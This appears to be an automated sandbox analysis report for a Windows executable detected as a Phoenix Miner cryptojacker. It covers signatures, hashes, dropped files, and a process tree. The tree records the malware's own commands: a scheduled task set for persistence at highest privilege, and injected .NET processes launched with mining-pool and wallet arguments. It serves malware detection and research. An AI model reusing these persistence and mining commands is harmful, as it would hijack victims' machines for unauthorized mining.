Resubmissions

09/12/2022, 19:46

221209-ygxwxsea859

06/12/2022, 22:31

221206-2fvxqadb5v9

06/12/2022, 22:22

221206-2abxnace4t9

Analysis

  • max time kernel
    119s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/12/2022, 22:31

General

  • Target
    63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe
  • Size 891KB
  • Sample221206-2fvxqadb5v
  • SHA256 63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10

Malware Config

Signatures

  • Detectes Phoenix Miner Payload 3 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe
    "C:\Users\Admin\AppData\Local\Temp\63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2112
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8840.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4804
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4932
      • C:\ProgramData\root\OZWS.exe
        "C:\ProgramData\root\OZWS.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5088
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OZWS" /tr "C:\ProgramData\root\OZWS.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5068
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OZWS" /tr "C:\ProgramData\root\OZWS.exe"
            5⤵
            • Creates scheduled task(s)
            PID:1188
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x979e2ea1C1BCfd64418f80D32218e26951A5090d.Rig001 -coin etc -log 0
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3768
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c cls
            5⤵
              PID:3468
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x979e2ea1C1BCfd64418f80D32218e26951A5090d.Rig001 -coin etc -log 0
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            PID:2552
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 5088 -s 2336
            4⤵
            • Program crash
            PID:1772
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 424 -p 5088 -ip 5088
      1⤵
        PID:3460

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            OZWS.exe

            • Path C:\ProgramData\root\OZWS.exe
            • Size 891KB
            • SHA256 63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90
            • MD5 SHA1 SHA512 SSDEEP

            OZWS.exe

            • Path C:\ProgramData\root\OZWS.exe
            • Size 891KB
            • SHA256 63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90
            • MD5 SHA1 SHA512 SSDEEP

            tmp8840.tmp.bat

            • Path C:\Users\Admin\AppData\Local\Temp\tmp8840.tmp.bat
            • Size 137B
            • SHA256 c6b1454ebefc60ed29daf9f9ca94db7aa8044b31fd3518ffb28a792725705086
            • MD5 SHA1 SHA512

            memory/2112-137-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

            memory/2112-133-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

            memory/2112-132-0x0000000000220000-0x0000000000304000-memory.dmp

            memory/2552-156-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/2552-157-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/2552-155-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/2552-154-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/2552-153-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/2552-151-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/3768-150-0x0000000140000000-0x00000001400C6000-memory.dmp

            memory/3768-148-0x0000000140000000-0x00000001400C6000-memory.dmp

            memory/3768-147-0x0000000140000000-0x00000001400C6000-memory.dmp

            memory/3768-145-0x0000000140000000-0x00000001400C6000-memory.dmp

            memory/5088-144-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

            memory/5088-141-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp

            memory/5088-158-0x00007FFB54A80000-0x00007FFB55541000-memory.dmp